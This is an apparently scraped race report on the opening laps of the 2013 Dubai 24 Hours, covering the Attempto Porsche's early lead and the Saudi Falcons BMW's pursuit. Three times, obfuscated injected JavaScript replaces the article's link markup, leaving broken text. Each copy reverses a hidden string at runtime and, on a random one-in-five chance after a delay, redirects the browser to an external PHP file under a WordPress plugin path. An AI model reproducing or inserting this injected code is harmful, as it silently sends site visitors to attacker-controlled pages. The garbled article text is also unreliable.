$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hrs-twenty-four-hours-in-four-minutes/” target=”_blank”>Rewind twelve months. AF Corse had cemented pole position following a phenomenal lap with the Ferrari 458 Italia, and looked good to head the field into turn one. AF Corse though had not anticipated a (very) late lunge from Peter Kox in the Reiter Engineering Lamborghini Gallardo LP600. Side-by-side into turn one, the Lambo muscled its way ahead.
Once again, in 2013, the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-qualifying-first-strike-black-falcons/” target=”_blank”>Dubai 24hrs polesitter held the lead only briefly, and had already relinquished it as the field barrelled into the first turn. This time though the battle was won before the leading pair even entered the first corner, Nicki Thiim in the #26 Attempto Racing Porsche 997 GT3 R already two car lengths clear of polesitter Jeroen Bleekemolen in the #1 Team Abu Dhabi by Black Flacons Mercedes SLS AMG GT3 as the field entered turn two.
By the end of the opening lap, the #26 was already a second up on the its nearest rival, now Claudia Hurtgen in the #24 $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-saudi-falcons-bmw-z4-presenting-the-dubai-24hrs-challenger/” target=”_blank”>Saudi Falcons BMW Z4. Struggling to heat his tyres as quickly as his rivals, Bleekemolen had slipped to third and working hard to keep the sister Saudi Falcons machine at bay. For the opening couple of tours, the Dutchman could only look on as the lead duo disappeared.
Though the agility of the BMW (plus Hurtgen’s circuit knowledge) meant the gap continued to close, the German was unable to launch an attack into turn one given the grunt of the 997. Not that Thiim could afford to relax: a 1m 59.886s laptime from Hurtgen, the only driver to dip below the 2m mark, sent a clear message on intent.
Baulked badly by traffic on the ninth lap (courtesy of the #145 Barwell Motorsport Aston Martin Vantage), the #24 Saudi Falcons machine led through turns 15 and 16 having found its way past, only for the Porsche to stretch its legs once again down the main straight.
